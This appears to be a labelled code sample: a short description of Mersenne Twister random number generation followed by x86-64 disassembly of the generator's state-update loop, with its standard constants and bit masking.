Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x140005b41
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x140005bc5
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x140005b90
mov dword [rsp + 4], 0x9908b0df
jmp 0x140005b98
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140005b34
add rsp, 0x18
ret